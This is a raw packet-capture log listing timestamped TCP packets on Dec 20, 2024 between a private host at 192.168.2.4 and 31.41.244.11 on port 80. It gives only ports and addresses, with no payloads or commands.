Dec 20, 2024 07:12:29.578319073 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.579301119 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.579363108 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.579421997 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.579524040 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.580485106 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.580615044 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.580769062 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.581708908 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.581825018 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.582158089 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.582865000 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.582927942 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.583328962 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.584076881 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.584289074 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.584366083 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.585207939 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.585354090 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.585377932 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.585444927 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.586393118 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.586478949 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.586483002 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.586580992 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.587605953 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.587738991 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.587816000 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.588773012 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.588824987 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.588906050 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.589962006 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.590050936 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.590076923 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.590147972 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.591147900 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.591234922 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.591264963 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.591324091 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.592359066 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.592416048 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.592459917 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.592535019 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.593521118 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.593621016 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.593630075 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.593712091 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.594718933 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.594772100 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.594780922 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.594837904 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.595915079 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.596013069 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.596033096 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.596108913 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.597059965 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.597110033 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.597160101 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.597160101 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.598292112 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.598344088 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.598356009 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.598408937 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.599438906 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.599621058 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.599690914 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.600625038 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.600680113 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.600748062 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.600819111 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.601794958 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.601887941 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.601923943 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.601988077 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.603013992 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.603087902 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.603199959 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.603379965 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.604201078 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.604264021 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.604321003 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.604388952 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.605355024 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.605428934 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.605480909 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.605541945 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.606547117 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.606614113 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.606616020 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.606683969 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.607799053 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.607891083 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.607892036 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.607964993 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.608968019 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.609036922 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.609106064 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.609160900 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.610083103 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.610152960 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.610213041 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.610270023 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.611358881 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.611459017 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.738864899 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.738954067 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.739167929 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.739382982 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.739480972 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.739506960 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.739573002 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.740556002 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.740636110 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.740680933 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.740771055 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.741723061 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.741835117 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.742098093 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.742180109 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.742928028 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.743011951 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.743066072 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.743066072 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.744107008 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.744256973 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.744391918 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.745270014 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.745321989 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.745383024 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.749496937 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.749551058 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.749593973 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.749696970 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.750046015 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.750112057 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.750190973 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.750287056 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.751233101 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.751332998 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.751358986 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.751426935 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.752415895 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.752516985 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.752526045 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.752588034 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.753628016 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.753680944 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.753743887 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.753812075 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.754806042 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.754870892 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.754934072 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.755065918 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.755975008 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.756087065 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.756124020 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.756139040 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.757153988 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.757221937 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.757271051 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.757328987 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.758332968 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.758410931 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.758470058 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.758537054 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.759507895 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.759641886 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.759731054 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.759802103 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.760709047 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.760781050 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.760819912 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.760929108 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.761885881 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.761940002 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.762018919 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.762084961 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.763065100 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.763169050 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.763204098 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.763277054 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.764271975 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.764365911 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.764403105 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.764461994 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.765455008 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.765542984 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.765614986 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.765672922 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.766625881 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.766676903 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.766748905 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.766805887 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.767821074 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.767880917 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.767940998 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.768038034 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.768996954 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.769079924 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.769123077 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.769268036 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.770159960 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.770215034 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.770293951 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.770361900 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.771373987 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.771435976 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.771488905 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.771573067 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.772557020 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.772644043 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.772716045 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.772778988 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.773732901 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.773801088 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.773844957 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.773988962 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.774913073 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.774974108 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.775051117 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.775116920 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.776117086 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.776242971 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.776313066 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.777291059 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.777401924 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.777499914 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.778456926 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.778583050 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.778713942 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.779670000 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.779772043 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.779777050 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.780859947 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.780936003 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.781007051 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.781589031 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.782030106 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.782165051 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.782527924 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.783205986 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.783350945 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.783411026 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.784414053 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.784531116 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.784586906 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.785584927 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.785701990 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.785804987 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.786861897 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.786952019 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.786952019 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.787976027 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.788048983 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.788094044 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.789175987 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.789261103 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.789290905 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.789346933 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.790316105 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.790430069 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.790524960 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.791500092 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.791646004 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.791716099 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.792716980 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.792807102 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.792876005 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.793898106 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.794034958 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.794116974 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.795049906 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.795161009 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.795170069 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.796252966 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.796375036 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.796402931 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.797439098 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.797555923 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.797605991 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.797605991 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.798624039 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.798768044 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.798839092 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.799798965 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.799913883 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.800026894 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.800978899 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.801093102 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.801256895 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.802164078 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.802351952 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.802421093 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.803349972 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.805629015 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.930819988 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.930876970 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.931013107 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.931013107 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.931112051 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.931303978 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.931337118 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.931407928 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.932281971 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.932337999 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.932346106 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.932406902 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.933475018 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.933553934 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.933614969 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.933698893 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.934695005 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.934760094 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.934832096 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.934900045 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.935851097 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.935971975 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.936002970 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.936067104 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.937042952 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.937143087 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.937218904 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.937277079 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.938177109 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.938257933 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.942404985 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.942529917 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.942591906 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.942656040 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.942925930 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.942982912 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.943108082 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.943196058 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.944181919 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.944274902 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.944725037 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.944782972 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.944901943 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:29.944956064 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:29.945770025 CET	80	49801	31.41.244.11	192.168.2.4
